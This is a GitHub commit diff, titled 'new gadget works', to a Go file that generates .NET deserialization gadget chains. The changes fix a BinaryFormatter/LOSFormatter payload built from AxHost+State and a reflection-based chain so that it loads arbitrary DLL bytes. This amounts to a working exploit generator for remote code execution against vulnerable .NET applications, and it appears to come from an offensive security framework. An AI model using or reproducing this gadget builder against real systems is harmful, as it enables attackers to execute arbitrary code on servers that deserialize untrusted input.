Skip to content

Commit 3bd1e88

Browse files
new gadget works
1 parent f6dc560 commit 3bd1e88

File tree

2 files changed

+41
-17
lines changed

2 files changed

+41
-17
lines changed

dotnet/dotnetgadget.go

Lines changed: 32 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -109,17 +109,17 @@ func IsValidXML(data []byte) bool {
109109
return xml.Unmarshal(data, new(interface{})) == nil
110110
}
111111

112-
func CreateAxHostStateDLL(program string, args string) (string, bool) {
112+
func CreateAxHostStateDLL(DLLBytes []byte, formatter string) (string, bool) {
113113
binaryLibrary := BinaryLibraryRecord{ID: 2, Library: "System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
114114
className := "System.Windows.Forms.AxHost+State"
115115
memberNames := []string{"PropertyBagBinary"}
116-
additionalInfo := []interface{}{PrimitiveTypeEnum["PrimitiveArray"]}
116+
additionalInfo := []interface{}{PrimitiveTypeEnum["Byte"]}
117117
memberValues := []interface{}{MemberReferenceRecord{IDRef: 3}}
118118
memberTypes := []string{
119-
"Object",
119+
"PrimitiveArray",
120120
}
121121

122-
innerNewGadget, ok := CreateDLLReflection([]byte("nonsense-placeholder"))
122+
innerNewGadget, ok := CreateDLLReflection(DLLBytes, BinaryFormatter)
123123
if !ok {
124124
return "", false
125125
}
@@ -153,10 +153,19 @@ func CreateAxHostStateDLL(program string, args string) (string, bool) {
153153
}
154154

155155
payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap["MessageEnd"]))
156-
return payload, true
156+
157+
switch formatter {
158+
case LOSFormatter:
159+
return FormatLOS(payload), true
160+
case BinaryFormatter:
161+
return payload, true
162+
default:
163+
output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'")
164+
return "", false
165+
}
157166
}
158167

159-
func CreateDLLReflection(DLLBytes []byte) (string, bool) {
168+
func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
160169
// This one is so large that it makes more sense to just build the "final" gadget as we go, so that's what is going to happen with this one.
161170
var finalGadget string
162171
var records []Record
@@ -306,7 +315,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
306315
PrimitiveTypeEnum["Single"],
307316
PrimitiveTypeEnum["Int32"],
308317
"System.Collections.IComparer",
309-
"$System.Collections.IHashCodeProvider",
318+
"System.Collections.IHashCodeProvider",
310319
PrimitiveTypeEnum["Int32"],
311320
})
312321
if !ok {
@@ -315,7 +324,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
315324
systemClassWithMembersAndTypesID12 := SystemClassWithMembersAndTypesRecord{
316325
ClassInfo: ClassInfo{
317326
ObjectID: 12,
318-
Name: "System.Collection.Hashtable",
327+
Name: "System.Collections.Hashtable",
319328
MemberCount: len(ID12MemberNames),
320329
MemberNames: ID12MemberNames,
321330
},
@@ -358,7 +367,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
358367
},
359368
MemberTypeInfo: ID15MemberTypeInfo,
360369
MemberValues: []interface{}{
361-
BinaryObjectRecord{ObjectID: 33, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
370+
BinaryObjectRecord{ObjectID: 33, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
362371
PrimitiveInt32(4),
363372
BinaryObjectRecord{ObjectID: 34, Value: "System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"},
364373
},
@@ -543,9 +552,9 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
543552
MemberReferenceRecord{IDRef: 8},
544553
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
545554
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(10)},
546-
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Bool"], Value: PrimitiveByte(0)}, // PrimitiveByte "renders" the same. This should get cleaned up later
547-
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Bool"], Value: PrimitiveByte(0)},
548-
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Bool"], Value: PrimitiveByte(0)},
555+
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)}, // PrimitiveByte "renders" the same. This should get cleaned up later
556+
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)},
557+
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)},
549558
MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
550559
},
551560
}
@@ -563,7 +572,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
563572
4,
564573
BinaryObjectRecord{
565574
ObjectID: 58,
566-
Value: "ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
575+
Value: "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
567576
},
568577
},
569578
}
@@ -1002,7 +1011,7 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
10021011
MemberTypeInfo: ID130MemberTypeInfo,
10031012
MemberValues: []interface{}{
10041013
PrimitiveInt32(1959924499), // expected hex ref just in case I screwed this up: 13 13 d2 74
1005-
PrimitiveInt16(15086), // expected hex ref ee 2a
1014+
PrimitiveInt16(10990), // expected hex ref ee 2a
10061015
PrimitiveInt16(4561), // expected hex ref d1 11
10071016
PrimitiveByte(0x8b),
10081017
PrimitiveByte(0xfb),
@@ -1026,7 +1035,15 @@ func CreateDLLReflection(DLLBytes []byte) (string, bool) {
10261035
}
10271036
finalGadget += string(byte(RecordTypeEnumMap["MessageEnd"]))
10281037

1029-
return finalGadget, true
1038+
switch formatter {
1039+
case LOSFormatter:
1040+
return FormatLOS(finalGadget), true
1041+
case BinaryFormatter:
1042+
return finalGadget, true
1043+
default:
1044+
output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'")
1045+
return "", false
1046+
}
10301047
}
10311048

10321049
func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {

0 commit comments

Comments
 (0)